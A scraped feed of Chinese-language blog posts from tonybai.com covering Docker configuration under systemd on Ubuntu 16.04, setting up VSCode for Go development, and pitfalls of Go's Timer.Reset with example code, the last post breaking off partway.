1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 上面是你安装docker成功后，才能输出的version信息哦^0^。\n安装Docker的方法随着docker的快速演进也在变化中，随着Docker的成熟，其方法趋于稳定。官方提供的在Ubuntu安装Docker的方法成为主流，我们这里也不例外的参考这一方法。不过这一方法有一前提，那就是你最好配备的“加(fan)速(qiang)器(qi)”，否则好慢，甚至是不成功。\n详细步骤如下：（熟悉之的观众可略过之^_^）\n1、从keyserver获取key # apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D Executing: /tmp/tmp.OoFaQ0V0gx/gpg.1.sh --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D gpg: requesting key 2C52609D from hkp server p80.pool.sks-keyservers.net gpg: key 2C52609D: public key \u0026quot;Docker Release Tool (releasedocker) \u0026lt;docker@docker.com\u0026gt;\u0026quot; imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) 2、添加Docker源 创建/etc/apt/sources.list.d/docker.list文件，写入：\ndeb https://apt.dockerproject.org/repo ubuntu-xenial main 执行apt-get update更新包信息：\n... ... Get:11 https://apt.dockerproject.org/repo ubuntu-xenial InRelease [30.2 kB] Fetched 30.2 kB in 2s (14.1 kB/s) Reading package lists... Done 3、安装Docker engine 执行安装命令，安装Docker engine：\n# apt install docker-engine ... ... Setting up docker-engine (1.12.5-0~ubuntu-xenial) ... Setting up liberror-perl (0.17-1.2) ... Setting up git-man (1:2.7.4-0ubuntu1) ... Setting up git (1:2.7.4-0ubuntu1) ... Processing triggers for libc-bin (2.23-0ubuntu5) ... Processing triggers for systemd (229-4ubuntu13) ... Processing triggers for ureadahead (0.100.0-19) ... 验证安装结果：\n# which docker /usr/bin/docker # docker version ... ... //输出和上一节相同的结果 # ps -ef|grep docker root 22132 1 0 11:18 ? 00:00:00 /usr/bin/dockerd -H fd:// root 22162 22132 0 11:18 ? 00:00:00 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainerd/containerd --runtime docker-runc 安装后，Docker引擎自动启动了。\n二、Docker服务的使能与启停 控制Docker服务开机自启以及启停操作的脚本已经由upstart初始化系统的/etc/init.d/docker变为了systemd初始化系统的/lib/systemd/system/docker.service。\n在systemd下，docker service的脚本路径通过下面命令可以找到：\n# systemctl show --property=FragmentPath docker FragmentPath=/lib/systemd/system/docker.service 通过下面命令可以查看docker service的是否是开机自启：\n# systemctl is-enabled docker enabled 通过systemctl enable和disable命令可以使能开机自启或取消开机自启。\n传统Ubuntu通过service docker start/stop/restart启动、停止或重启服务，换到systemd后，我们需要用systemctl start/stop/restart docker来启动、停止或重启服务。\n三、Docker的EnvironmentFile 以前我们给Docker engine设置一个http_proxy、设置–insecure-registry或–registry-mirror、配置一个dns啥的，都可以通过/etc/default/docker中的DOCKER_OPTS以及相关export的环境变量实现。但在Ubuntu 16.04下这个配置文件变成了这样：\n# Docker Upstart and SysVinit configuration file # # THIS FILE DOES NOT APPLY TO SYSTEMD # # Please see the documentation for \u0026quot;systemd drop-ins\u0026quot;: # https://docs.docker.com/engine/articles/systemd/ ... ... 问题来了！我们怎么配置Docker engine呢？Docker官方推荐在如下路径下面创建配置文件（比如http-proxy.conf），以override默认的docker.service文件中的配置：\n/etc/systemd/system/docker.service.d 不过经测试后（after systemctl daemon-reload; systemctl restart docker），发现并不生效。\n我们来使用EnvironmentFile对Docker Engine进行配置。编辑/lib/systemd/system/docker.service文件，添加如下内容：\nExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS EnvironmentFile=-/etc/default/docker 习惯了使用/etc/default/docker配置DOCKER_OPTS等配置，于是在EnvironmentFile中直接使用了该文件。\n///etc/default/docker DOCKER_OPTS=\u0026quot;--dns 8.8.8.8 --dns 8.8.4.4\u0026quot; # If you need Docker to use an HTTP proxy, it can also be specified here. #export http_proxy=\u0026quot;http://127.0.0.1:3128/\u0026quot; http_proxy=\u0026quot;http://xxxxx\u0026quot; https_proxy=\u0026quot;xxxx\u0026quot; no_proxy=\u0026quot;127.0.0.1,localhost\u0026quot; 保存后，执行：\nsystemctl daemon-reload systemctl restart docker 你会发现配置生效了。\n经常接触/etc/default/docker的人会发现，上述文件中的http_proxy等变量前面的export关键字没有了。没错，在systemd环境下，不再需要export了，如果加上export，反倒会导致配置不生效。\n四、Docker引擎的日志 最后，Docker引擎的日志哪里去了？以前不是在/var/log/upstart/下面么？Ubuntu 16.04中，这个目录下连docker字样的影儿都没看到。\n在systemd下面，我们需要搬出journalctl工具。想看docker service的实时日志，请执行：\n# journalctl -u docker -f 看历史日志：\n# journalctl --since \u0026quot;1 hour ago\u0026quot; -u docker 更多journalctl用法，可以参考其man pages。\n","permalink":"https://tonybai.com/2016/12/27/when-docker-meets-systemd/","summary":"\u003cp\u003e近期在做\u003ca href=\"http://kubernetes.io/\"\u003eKubernetes\u003c/a\u003e集群的升级的相关试验，即从原先的\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu\"\u003eK8s 1.3.7版本\u003c/a\u003e升级到最新的K8s 1.5.1版本。k8s自1.4版本开始引入\u003ca href=\"http://kubernetes.io/docs/admin/kubeadm/\"\u003ekubeadm\u003c/a\u003e，试图简化K8s的安装和使用门槛，提升开发者体验。但kubeadm仅支持16.04及以上的\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu\u003c/a\u003e版本，于是我们在升级K8s集群前会遇到另外一个问题：Ubuntu 16.04已经由\u003ca href=\"http://upstart.ubuntu.com/\"\u003eUpstart\u003c/a\u003e初始化系统换成了\u003ca href=\"https://en.wikipedia.org/wiki/Systemd\"\u003esystemd\u003c/a\u003e初始化系统，Ubuntu 16.04上的\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e engine的使用和配置方法与以前在Ubuntu 14.04上将有所不同。Docker是K8s支持的容器引擎之一，也是目前最主流的容器引擎，弄清楚Docker的配置和使用也是后续用好K8s的前提之一。于是这里打算记录一下Docker与Systemd是如何相生共存的^0^。\u003c/p\u003e","title":"当Docker遇到systemd"},{"content":"作为VIMer，日常编码中，Vim编辑器依然是我的首选。以前以C语言为主要语言的时候是这样，现在以Go为主要语言时亦是这样。不过近期发现Mac上使用Vim在编写Go代码时，Vim时不时的“抽风”：出现一些“屏幕字符被篡改”的问题，比如下面这幅图中”func”变成了”fknc”:\n虽然一段时间后，显示会自动更正过来，但这种“篡改”是会让你产生“幻觉”的。你会想：是不是我真的将”func”写成”fknc”了呢？久而久之，这个瑕疵将会影响你的编码效率。至于为何会出现这个问题，初步怀疑可能是因为vim加载较多插件导致的一些性能问题，我在安装了Ubuntu 16.04的台式机上至今还没发现这个问题（相同的.vimrc配置）。\n于是，我打算找一款辅助编辑器，用于在被上面这个问题折磨得开始“厌恶”Vim的某些时候，切换一下，平复一下心情^0^。我看中了Microsoft开源的Visual Studio Code，简称：VSCode。\n一、与Microsoft的Visual Studio的渊源 Microsoft做IDE还是很专业的，也是很认真的。大学那时候学C，嫌弃Turbo C太简陋，基本上都是在D版Visual Studio 6.0上完成各种作业和小程序的制作的。后来在2001年微软发布了.net战略，发布了C#语言，同时也发布了Visual Studio .NET IDE。估计我也算是国内第一批使用到Visual Studio.NET IDE的人吧，那时候微软俱乐部在校园里免费发送Vs.net beta版光盘，我拿到了一份，并第一时间体验了vs.net。Visual Studio .NET与之前的VS 6.0有着天壤之别，功能强大，界面也做了重新设计，支持微软的各种语言，包括C#、C/C++(包括managed c++)、VB、ASP.net等，并在一年后的正式版发布后，逐渐在桌面应用程序开发中成为霸主，把那个时候在IDE领域的竞争对手Borland公司彻底打垮。但Visual Studio从此也变得更加庞大和臃肿，安装一个VS，没有几个G空间是不行的。想想那个时候机器的配置，跑个VS.net还真是心有而力不足。\n工作之后，进入服务端编程领域，结识了Unix、Linux以及Vim、GCC，就再也没怎么碰过Visual Studio。随着工作OS也从Windows切换到Ubuntu，基本就和VS绝缘了。之后随着Java语言成为企业级应用的主角、Web时代的到来以及开源IDE（比如：Eclipse）的兴起，微软的Visual Studio不再那么耀眼，或者说是人们对于IDE的关注并不像开发GUI程序那个年代那么强烈了。但鉴于微软自身产品体系的庞大，VS始终在市场中占有一席之地。\n而近些年，一些跨平台、轻量级、插件结构、支持智能感知、可随意定制的文本编辑器的出现，比如：Sublime Text、Atom等让开发人员喜不自禁。这些编辑器并非定位于IDE，但功能又不输给IDE很多，尤其在支持编码、调试这些环节，它们完全可以与专业IDE媲美，但资源消耗却是像Visual Studio、Eclipse这样大而全的IDE所无法匹敌的。而Visual Studio Code恰是微软在这方面的一个尝试，也是微软最新公司战略的体现之一：拥抱所有开发者（不仅仅是Windows上的哦）。\n二、VSCode安装 VSCode发布于2015年4月的Build大会上。发布后，迅速得到开发者响应，大家普遍反映：VSCode性能不错、关注细节、体验良好，虽然当时VSCode的插件还不算丰富。一年多过去后，VSCode已经演化到了1.8.1版本（截至2016年12月末），支持所有主流编程语言的开发，配套的插件也十分丰富了。VSCode的安装简单的很，这一向都是微软的强项，你可以在其官方站上下载到各个平台的安装包（Linux平台也有.deb/.rpm两种包格式供选择，并提供32bit和64bit两种版本）。下载后安装即可。\n1、VSCode配置和数据存储路径 VSCode安装后，一般不必关心其配置和数据存储路径的位置。但作为有一些Geek精神的developer来说，弄清楚其安装和配置的来龙去脉还是很有意义的。\n在Mac上：\nVSCode存储运行数据和配置文件的目录在：~/Library/Application Support/Code下：\n~/Library/Application Support/Code]$ls Backups/ CachedData/ Cookies-journal Local Storage/ User/ Cache/ Cookies GPUCache/ Preferences storage.json $ls User keybindings.json locale.json settings.json snippets/ workspaceStorage/ 在Ubuntu中：\nVSCode存储运行数据和配置文件的目录在~/.config/Code下面：\n~/.config/Code$ ls Backups Cache CachedData Cookies Cookies-journal GPUCache Local Storage storage.json User 至于Windows平台，请自行探索^_^。\n2、启动方式 VSCode有两种启动方式：桌面启动和命令行启动。桌面启动自不必说了。命令行启动的示例如下：\n$ code main.go code命令会打开一个VSCode窗口并加载命令参数中的文件内容，这里是main.go。\n三、VSCode的配置 一般来说，VSCode启动即可用了。但要想发挥出VSCode的能量，我们必须对其进行一番配置。VSCode的配置有几十上百项，这里无法全覆盖，仅说明一下我个人比较关注的。\n1、安装插件 像VSCode这种小清新文本编辑器要想对编程语言有很好的支持，必须安装相应语言的插件。以Go为例，我们至少要安装vscode-go插件。vscode-go之于VSCode，就好比vim-go之于VIM。并且和vim-go类似，vscode-go实现的各种Features也是依赖诸多已存在的Go周边工具，包括：\ngocode: go get -u -v github.com/nsf/gocode godef: go get -u -v github.com/rogpeppe/godef gogetdoc: go get -u -v github.com/zmb3/gogetdoc golint: go get -u -v github.com/golang/lint/golint go-outline: go get -u -v github.com/lukehoban/go-outline goreturns: go get -u -v sourcegraph.com/sqs/goreturns gorename: go get -u -v golang.org/x/tools/cmd/gorename gopkgs: go get -u -v github.com/tpng/gopkgs go-symbols: go get -u -v github.com/newhook/go-symbols guru: go get -u -v golang.org/x/tools/cmd/guru gotests: go get -u -v github.com/cweill/gotests/... 因此，要想实现vscode-go官网页面中demo中哪些神奇的Feature，你必须将上面的这些依赖工具逐一安装成功。如果缺少一个依赖工具，VSCode会在窗口右下角的状态栏里显示：“Analysis Tools Missing”字样，以提示你安装这些工具。\nVSCode当然也支持Vim-mode的编辑模式，如果你也和我一样，喜欢用vim-mode在VSCode中进行编辑，可以安装VSCodeVim插件。\nVSCode的插件安装方式分为两种：在线安装和VSIX方式安装。\n在线安装，顾名思义，即在VSCode的窗口左侧边栏中点击“Extensions”按钮，在打开的Extensions搜索框中搜索你想要的插件名称，或者选择预制的条件获得插件信息。选中你要安装的插件，点击“Install”按钮即可完成安装。\nVSIX安装：即到插件官网将插件文件下载到本地（插件安装文件一般以.vsix或.zip结尾），在窗口中选择：”Install from VSIX…”，选择你下载的插件文件即可。\n安装后的插件都被放在~/.vscode/extensions目录下(mac和linux)。\n2、更改语言设置 VSCode在初次启动时会判断当前系统语言，并以相应的语言作为默认窗口显示语言。比如：我的是中文OS X系统，那么默认VSCode的窗口文字都是中文。如果我要将其改为英文，应该如何操作呢？\nF1登场！这里的F1可不是赛车比赛，而是快捷键F1，估计也是整个VSCode最常用的快捷键之一了。敲击F1后，VSCode会显示其“Command Palette”输入框，这里面包含了当前VSCode可以执行的所有操作命令，支持Search。我们输入”language”，在搜索结果中选择“Configure Language”，VSCode打开一个新的编辑窗口，加载~/Library/Application Support/Code/User/locale.json文件：\n{ // 定义 VSCode 的显示语言。 // 请参阅 https://go.microsoft.com/fwlink/?LinkId=761051，了解支持的语言列表。 // 要更改值需要重启 VSCode。 \u0026quot;locale\u0026quot;: \u0026quot;zh-cn\u0026quot; } 当前语言为中文，如果我们要将其改为英文，则修改该文件中的”locale”项：\n{ // 定义 VSCode 的显示语言。 // 请参阅 https://go.microsoft.com/fwlink/?LinkId=761051，了解支持的语言列表。 // 要更改值需要重启 VSCode。 \u0026quot;locale\u0026quot;: \u0026quot;en-US\u0026quot; } 保存，重启VSCode。再次启动的VSCode将会以英文界面示人了。\n3、User Settings和Workspace Settings UserSettings是一种“全局”设置，而Workspace Settings则顾名思义，是一种针对一个特定目录或project的设置。\nUserSettings设置后的数据保存在~/Library/Application Support/Code下(以mac为例)，而Workspace Setting设置后的数据则保存在某个项目特定目录下的.vscode目录下。\n在菜单栏，选择【Preferences -\u0026gt; User Settings】可以打开~/Library/Application Support/Code/User/settings.json文件。默认情况下，该文件为空。VSCode采用默认设置。如果你要个性化设置，那么可将对应的配置项copy一份到settings.json中，并赋予其新值，保存即可。新值将覆盖默认值。以字体大小为例，我们将默认的editor.fontSize 12改为10：\n// Place your settings in this file to overwrite the default settings { \u0026quot;editor.fontSize\u0026quot;: 10, } 保存后，可以看到窗口中所有文字的Size都变小了。\n在菜单栏，选择【Preferences -\u0026gt; Workspace Settings】可打开当前工作目录下的.vscode的settings.json文件，其工作原理和配置方法与User Settings一样，只是生效范围仅限于该工作区范畴。\n4、Color Theme VSCode内置了主流的配色方案，比如：monokai、solarized dark/light等。F1，输入”color”搜索，选择：“Perefences: Color Theme”（在MAC上也可以用cmd+k, cmd+t打开），在下拉列表中选择你喜欢的配色Theme即可，即可生效。\n四、vscode-go的使用 前面说过，和vim-go一样，vscode-go插件实现了Go编码中需要的各种功能：自动format、自动增删import、build on save、lint on save、定义跳转、原型信息快速提示、自动补全、code snippets等。另外它通过带颜色的波浪线提示代码问题（虽然有时候反应有点慢），包括语法问题、不符合idiomatic go规则的问题（比如appId这个命名，它会建议你改为appID）等。\ncode snippets非常好用，内置的code snippets在~/.vscode/extensions/lukehoban.Go-0.6.51/snippets/go.json中可以找到，类似这样的定义：\n//~/.vscode/extensions/lukehoban.Go-0.6.51/snippets/go.json { \u0026quot;.source.go\u0026quot;: { \u0026quot;single import\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;im\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;import \\\u0026quot;${1:package}\\\u0026quot;\u0026quot; }, \u0026quot;multiple imports\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;ims\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;import (\\n\\t\\\u0026quot;${1:package}\\\u0026quot;\\n)\u0026quot; }, \u0026quot;single constant\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;co\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;const ${1:name} = ${2:value}\u0026quot; }, \u0026quot;multiple constants\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;cos\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;const (\\n\\t${1:name} = ${2:value}\\n)\u0026quot; }, \u0026quot;type interface declaration\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;tyi\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;type ${1:name} interface {\\n\\t$0\\n}\u0026quot; }, \u0026quot;type struct declaration\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;tys\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;type ${1:name} struct {\\n\\t$0\\n}\u0026quot; }, \u0026quot;package main and main function\u0026quot;: { \u0026quot;prefix\u0026quot;: \u0026quot;pkgm\u0026quot;, \u0026quot;body\u0026quot;: \u0026quot;package main\\n\\nfunc main() {\\n\\t$0\\n}\u0026quot; }, ... ... 敲入”prefix”的值，比如”ims”，输入tab，vscode-go将为你展开为：\nimport ( \u0026quot;package\u0026quot; ) 在使用vscode时遇到过一次代码自动补全“失灵”的问题。vscode-go只会提示：”PANIC,PANIC,PANIC”。经查，这个是gocode daemon的问题，我的解决方法是：\ngocode close //关闭gocode daemon gocode -s \u0026amp; //重启之。 五、小结 在诸多轻量级编辑器中，我还是比较看好vscode的，毕竟其背后有着Microsoft积淀多年的IDE产品开发经验。并且和Microsoft以往产品最大的不同就是其是开源项目。\n关于Vscode的使用和奇技淫巧可以参见其官方的这篇文档“VS Code Tips and Tricks”。\n关于Vscode的各种周边工具和资料列表，请参考Awesome-vscode项目。\n快捷键往往是开发人员的最爱，VSCode官方制作了三个平台的VSCode的快捷键worksheet：\nhttps://code.visualstudio.com/shortcuts/keyboard-shortcuts-windows.pdf\nhttps://code.visualstudio.com/shortcuts/keyboard-shortcuts-macos.pdf\nhttps://code.visualstudio.com/shortcuts/keyboard-shortcuts-linux.pdf\nVSCode还在快速发展，离完善还有不小提升空间。比如：在使用过程中也发现了VSCode 窗口无响应或代码编辑错乱之情况。不过作为Go编码的一个辅助编辑器，VSCode还是完全胜任和超出预期的。\n","permalink":"https://tonybai.com/2016/12/23/write-go-code-in-vscode/","summary":"\u003cp\u003e作为\u003ca href=\"http://tonybai.com/tag/vim\"\u003eVIMer\u003c/a\u003e，日常编码中，\u003ca href=\"http://www.vim.org/\"\u003eVim\u003c/a\u003e编辑器依然是我的首选。以前以\u003ca href=\"http://tonybai.com/tag/c\"\u003eC语言\u003c/a\u003e为主要语言的时候是这样，现在以\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e为主要语言时亦是这样。不过近期发现Mac上\u003ca href=\"http://tonybai.com/2014/11/07/golang-development-environment-for-vim\"\u003e使用Vim在编写Go代码\u003c/a\u003e时，Vim时不时的“抽风”：出现一些“屏幕字符被篡改”的问题，比如下面这幅图中”func”变成了”fknc”:\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/vim-go-flaw.png\"\u003e\u003c/p\u003e\n\u003cp\u003e虽然一段时间后，显示会自动更正过来，但这种“篡改”是会让你产生“幻觉”的。你会想：是不是我真的将”func”写成”fknc”了呢？久而久之，这个瑕疵将会影响你的编码效率。至于为何会出现这个问题，初步怀疑可能是因为vim加载较多插件导致的一些性能问题，我在安装了\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu 16.04\u003c/a\u003e的台式机上至今还没发现这个问题（相同的.vimrc配置）。\u003c/p\u003e","title":"使用Visual Studio Code辅助Go源码编写"},{"content":"2016年，Go语言在Tiobe编程语言排行榜上位次的大幅蹿升(2016年12月份Tiobe榜单：go位列第16位，Rating值：1.939%)。与此同时，我们也能切身感受到Go语言在世界范围蓬勃发展，其在中国地界儿上的发展更是尤为猛烈^0^：For gopher们的job变多了、网上关于Go的资料也大有“汗牛充栋”之势。作为职业Gopher^0^，要为这个生态添砖加瓦，就要多思考、多总结，关键还要做到“遇到了问题，就要说出来，给出你的见解”。每篇文章都有自己的切入角度和关注重点，因此Gopher们也无需过于担忧资料的“重复”。\n这次，我来说说在使用Go标准库中Timer的Reset方法时遇到的问题。\n一、关于Timer原理的一些说明 在网络编程方面，从用户视角看，golang表象上是一种“阻塞式”网络编程范式，而支撑这种“阻塞式”范式的则是内置于go编译后的executable file中的runtime。runtime利用网络IO多路复用机制实现多个进行网络通信的goroutine的合理调度。goroutine中的执行函数则相当于你在传统C编程中传给epoll机制的回调函数。golang一定层度上消除了在这方面“回调”这种“逆向思维”给你带来的心智负担，简化了网络编程的复杂性。\n但长时间“阻塞”显然不能满足大多数业务情景，因此还需要一定的超时机制。比如：在socket层面，我们通过显式设置net.Dialer的Timeout或使用SetReadDeadline、SetWriteDeadline以及SetDeadline；在应用层协议，比如http，client通过设置timeout参数，server通过TimeoutHandler来限制操作的time limit。这些timeout机制，有些是通过runtime的网络多路复用的timeout机制实现，有些则是通过Timer实现的。\n标准库中的Timer让用户可以定义自己的超时逻辑，尤其是在应对select处理多个channel的超时、单channel读写的超时等情形时尤为方便。\n1、Timer的创建 Timer是一次性的时间触发事件，这点与Ticker不同，后者则是按一定时间间隔持续触发时间事件。Timer常见的使用场景如下：\n场景1： t := time.AfterFunc(d, f) 场景2: select { case m := \u0026lt;-c: handle(m) case \u0026lt;-time.After(5 * time.Minute): fmt.Println(\u0026quot;timed out\u0026quot;) } 或： t := time.NewTimer(5 * time.Minute) select { case m := \u0026lt;-c: handle(m) case \u0026lt;-t.C: fmt.Println(\u0026quot;timed out\u0026quot;) } 从这两个场景中，我们可以看到Timer三种创建姿势：\nt:= time.NewTimer(d) t:= time.AfterFunc(d, f) c:= time.After(d) 虽然姿势不同，但背后的原理则是相通的。\nTimer有三个要素：\n* 定时时间：也就是那个d * 触发动作：也就是那个f * 时间channel： 也就是t.C 对于AfterFunc这种创建方式而言，Timer就是在超时(timer expire)后，执行函数f，此种情况下：时间channel无用。\n//$GOROOT/src/time/sleep.go func AfterFunc(d Duration, f func()) *Timer { t := \u0026amp;Timer{ r: runtimeTimer{ when: when(d), f: goFunc, arg: f, }, } startTimer(\u0026amp;t.r) return t } func goFunc(arg interface{}, seq uintptr) { go arg.(func())() } 注意：从AfterFunc源码可以看到，外面传入的f参数并非直接赋值给了内部的f，而是作为wrapper function：goFunc的arg传入的。而goFunc则是启动了一个新的goroutine来执行那个外部传入的f。这是因为timer expire对应的事件处理函数的执行是在go runtime内唯一的timer events maintenance goroutine: timerproc中。为了不block timerproc的执行，必须启动一个新的goroutine。\n//$GOROOT/src/runtime/time.go func timerproc() { timers.gp = getg() for { lock(\u0026amp;timers.lock) ... ... f := t.f arg := t.arg seq := t.seq unlock(\u0026amp;timers.lock) if raceenabled { raceacquire(unsafe.Pointer(t)) } f(arg, seq) lock(\u0026amp;timers.lock) } ... ... unlock(\u0026amp;timers.lock) } } 而对于NewTimer和After这两种创建方法，则是Timer在超时(timer expire)后，执行一个标准库中内置的函数：sendTime。sendTime将当前当前事件send到timer的时间Channel中，那么说这个动作不会阻塞到timerproc的执行么？答案肯定是不会的，其原因就在下面代码中：\n//$GOROOT/src/time/sleep.go func NewTimer(d Duration) *Timer { c := make(chan Time, 1) t := \u0026amp;Timer{ C: c, ... ... } ... ... return t } func sendTime(c interface{}, seq uintptr) { // Non-blocking send of time on c. // Used in NewTimer, it cannot block anyway (buffer). // Used in NewTicker, dropping sends on the floor is // the desired behavior when the reader gets behind, // because the sends are periodic. select { case c.(chan Time) \u0026lt;- Now(): default: } } 我们看到NewTimer中创建了一个buffered channel，size = 1。正常情况下，当timer expire，t.C无论是否有goroutine在read，sendTime都可以non-block的将当前时间发送到C中；同时，我们看到sendTime还加了双保险：通过一个select判断c buffer是否已满，一旦满了，直接退出，依然不会block，这种情况在reuse active timer时可能会遇到。\n2、Timer的资源释放 很多Go初学者在使用Timer时都会担忧Timer的创建会占用系统资源，比如：\n有人会认为：创建一个Timer后，runtime会创建一个单独的Goroutine去计时并在expire后发送当前时间到channel里。\n还有人认为：创建一个timer后，runtime会申请一个os级别的定时器资源去完成计时工作。\n实际情况并不是这样。恰好近期gopheracademy blog发布了一篇 《How Do They Do It: Timers in Go》，通过对timer源码的分析，讲述了timer的原理，大家可以看看。\ngo runtime实际上仅仅是启动了一个单独的goroutine，运行timerproc函数，维护了一个”最小堆”，定期wake up后，读取堆顶的timer，执行timer对应的f函数，并移除该timer element。创建一个Timer实则就是在这个最小堆中添加一个element，Stop一个timer，则是从堆中删除对应的element。\n同时，从上面的两个Timer常见的使用场景中代码来看，我们并没有显式的去释放什么。从上一节我们可以看到，Timer在创建后可能占用的资源还包括：\n0或一个Channel 0或一个Goroutine 这些资源都会在timer使用后被GC回收。\n综上，作为Timer的使用者，我们要做的就是尽量减少在使用Timer时对最小堆管理goroutine和GC的压力即可，即：及时调用timer的Stop方法从最小堆删除timer element(如果timer 没有expire)以及reuse active timer。\nBTW，这里还有一篇讨论go Timer精度的文章，大家可以拜读一下。\n二、Reset到底存在什么问题？ 铺垫了这么多，主要还是为了说明Reset的使用问题。什么问题呢？我们来看下面的例子。这些例子主要是为了说明Reset问题，现实中很可能大家都不这么写代码逻辑。当前环境：go version go1.7 darwin/amd64。\n1、example1 我们的第一个example如下：\n//example1.go func main() { c := make(chan bool) go func() { for i := 0; i \u0026lt; 5; i++ { time.Sleep(time.Second * 1) c \u0026lt;- false } time.Sleep(time.Second * 1) c \u0026lt;- true }() go func() { for { // try to read from channel, block at most 5s. // if timeout, print time event and go on loop. // if read a message which is not the type we want(we want true, not false), // retry to read. timer := time.NewTimer(time.Second * 5) defer timer.Stop() select { case b := \u0026lt;-c: if b == false { fmt.Println(time.Now(), \u0026quot;:recv false. continue\u0026quot;) continue } //we want true, not false fmt.Println(time.Now(), \u0026quot;:recv true. return\u0026quot;) return case \u0026lt;-timer.C: fmt.Println(time.Now(), \u0026quot;:timer expired\u0026quot;) continue } } }() //to avoid that all goroutine blocks. var s string fmt.Scanln(\u0026amp;s) } example1.go的逻辑大致就是 一个consumer goroutine试图从一个channel里读出true，如果读出false或timer expire，那么继续try to read from the channel。这里我们每次循环都创建一个timer，并在go routine结束后Stop该timer。另外一个producer goroutine则负责生产消息，并发送到channel中。consumer中实际发生的行为取决于producer goroutine的发送行为。\nexample1.go执行的结果如下：\n$go run example1.go 2016-12-21 14:52:18.657711862 +0800 CST :recv false. continue 2016-12-21 14:52:19.659328152 +0800 CST :recv false. continue 2016-12-21 14:52:20.661031612 +0800 CST :recv false. continue 2016-12-21 14:52:21.662696502 +0800 CST :recv false. continue 2016-12-21 14:52:22.663531677 +0800 CST :recv false. continue 2016-12-21 14:52:23.665210387 +0800 CST :recv true. return 输出如预期。但在这个过程中，我们新创建了6个Timer。\n2、example2 如果我们不想重复创建这么多Timer实例，而是reuse现有的Timer实例，那么我们就要用到Timer的Reset方法，见下面example2.go，考虑篇幅，这里仅列出consumer routine代码，其他保持不变：\n//example2.go .... ... // consumer routine go func() { // try to read from channel, block at most 5s. // if timeout, print time event and go on loop. // if read a message which is not the type we want(we want true, not false), // retry to read. timer := time.NewTimer(time.Second * 5) for { // timer is active , not fired, stop always returns true, no problems occurs. if !timer.Stop() { \u0026lt;-timer.C } timer.Reset(time.Second * 5) select { case b := \u0026lt;-c: if b == false { fmt.Println(time.Now(), \u0026quot;:recv false. continue\u0026quot;) continue } //we want true, not false fmt.Println(time.Now(), \u0026quot;:recv true. return\u0026quot;) return case \u0026lt;-timer.C: fmt.Println(time.Now(), \u0026quot;:timer expired\u0026quot;) continue } } }() ... ... 按照go 1.7 doc中关于Reset使用的建议：\nTo reuse an active timer, always call its Stop method first and—if it had expired—drain the value from its channel. For example: if !t.Stop() { \u0026lt;-t.C } t.Reset(d) 我们改造了example1，形成example2的代码。由于producer行为并未变更，实际example2执行时，每次循环Timer在被Reset之前都没有expire，也没有fire a time to channel，因此timer.Stop的调用均返回true，即成功将timer从“最小堆”中移除。example2的执行结果如下：\n$go run example2.go 2016-12-21 15:10:54.257733597 +0800 CST :recv false. continue 2016-12-21 15:10:55.259349877 +0800 CST :recv false. continue 2016-12-21 15:10:56.261039127 +0800 CST :recv false. continue 2016-12-21 15:10:57.262770422 +0800 CST :recv false. continue 2016-12-21 15:10:58.264534647 +0800 CST :recv false. continue 2016-12-21 15:10:59.265680422 +0800 CST :recv true. return 和example1并无二致。\n3、example3 现在producer routine的发送行为发生了变更：从以前每隔1s发送一次数据变成了每隔7s发送一次数据，而consumer routine不变：\n//example3.go //producer routine go func() { for i := 0; i \u0026lt; 10; i++ { time.Sleep(time.Second * 7) c \u0026lt;- false } time.Sleep(time.Second * 7) c \u0026lt;- true }() 我们来看看example3.go的执行结果：\n$go run example3.go 2016-12-21 15:14:32.764410922 +0800 CST :timer expired 程序hang住了。你能猜到在哪里hang住的吗？对，就是在drain t.C的时候hang住了：\n// timer may be not active and may not fired if !timer.Stop() { \u0026lt;-timer.C //drain from the channel } timer.Reset(time.Second * 5) producer的发送行为发生了变化，Comsumer routine在收到第一个数据前有了一次time expire的事件，for loop回到loop的开始端。这时timer.Stop函数返回的不再是true，而是false，因为timer已经expire，最小堆中已经不包含该timer了，Stop在最小堆中找不到该timer，返回false。于是example3代码尝试抽干(drain)timer.C中的数据。但timer.C中此时并没有数据，于是routine block在channel recv上了。\n在Go 1.8以前版本中，很多人遇到了类似的问题，并提出issue，比如：\ntime: Timer.Reset is not possible to use correctly #14038 不过go team认为这还是文档中对Reset的使用描述不够充分导致的，于是在Go 1.8中对Reset方法的文档做了补充，Go 1.8 beta2中Reset方法的文档改为了：\nResetting a timer must take care not to race with the send into t.C that happens when the current timer expires. If a program has already received a value from t.C, the timer is known to have expired, and t.Reset can be used directly. If a program has not yet received a value from t.C, however, the timer must be stopped and—if Stop reports that the timer expired before being stopped—the channel explicitly drained: if !t.Stop() { \u0026lt;-t.C } t.Reset(d) 